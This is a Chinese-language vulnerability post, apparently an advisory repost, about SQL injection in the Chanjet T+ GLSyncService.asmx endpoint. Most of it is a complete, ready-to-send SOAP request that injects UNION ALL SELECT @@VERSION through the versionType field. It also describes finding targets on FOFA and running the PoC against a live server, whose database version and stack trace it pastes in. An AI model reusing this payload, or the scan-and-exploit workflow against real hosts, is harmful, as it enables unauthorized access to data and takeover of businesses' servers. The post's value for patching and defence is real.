[点晴永久免费OA]畅捷通T+ GLSyncService.asmx存在SQL注入漏洞
				
									
					
					
						|  | 
							admin 2025年7月17日 21:43
								本文热度 1020 | 
					
				 
				漏洞说明:
由于畅捷通T+的GLSyncService.asmx接口处未对用户的输入进行过滤和校验,未经身份验证的攻击者除了可以利用 SQL 注)漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马进一步获取服务器系统权限。
漏洞类型:
数据注入
漏洞特征:
POC:
POST /tplus/GLSyncService.asmx HTTP/1.1SOAPAction: "http://www.chanjet.com/GetSourceAccountDataTable"Accept-Encoding: gzipContent-Type: text/xml; charset=utf-8<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  <soap:Body>    <GetSourceAccountDataTable xmlns="http://www.chanjet.com/">      <versionType>' UNION ALL SELECT NULL,@@VERSION,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- VsIH</versionType>    </GetSourceAccountDataTable>  </soap:Body></soap:Envelope>
渗透过程:
通过漏洞特征在FOFA找到目标
通过poc拿到数据库版本信息,成功复现漏洞,点到为止
HTTP/1.1 500 Internal Server ErrorServer: nginx/1.9.9Date: Thu, 26 Jun 2025 13:46:01 GMTContent-Type: text/xml; charset=utf-8Content-Length: 1226Connection: keep-aliveX-AspNet-Version: 4.0.30319Cache-Control: private<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><soap:Fault><faultcode>soap:Server</faultcode><faultstring>System.Web.Services.Protocols.SoapException: 服务器无法处理请求。 ---> Ufida.T.EAP.ErrorInfo.DatabaseException: 245 数据库错误, 请重试!在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64) 	Apr  2 2010 15:48:46 	Copyright (c) Microsoft Corporation	Enterprise Edition (64-bit) on Windows NT 6.2 <X64> (Build 9200: ) (Hypervisor)' 转换成数据类型 int 时失败。   在 Ufida.T.EAP.Aop.Dynamic.LocalCallDynamicProxyImpl.NormalInvoke(MethodBase method, Object[] args, Boolean needFreeCuid)   在 Ufida.T.EAP.Aop.Dynamic.LocalCallDynamicProxyImpl.Invoke(IMessage message)   在 System.Runtime.Remoting.Proxies.RealProxy.PrivateInvoke(MessageData& msgData, Int32 type)   在 Ufida.T.Tool.Sync.Interface.ISyncServiceHelper.GetSourceAccountDataTable(String versionType)   --- 内部异常堆栈跟踪的结尾 ---</faultstring><detail /></soap:Fault></soap:Body></soap:Envelope>
阅读原文:原文链接
该文章在 2025/7/18 10:43:10 编辑过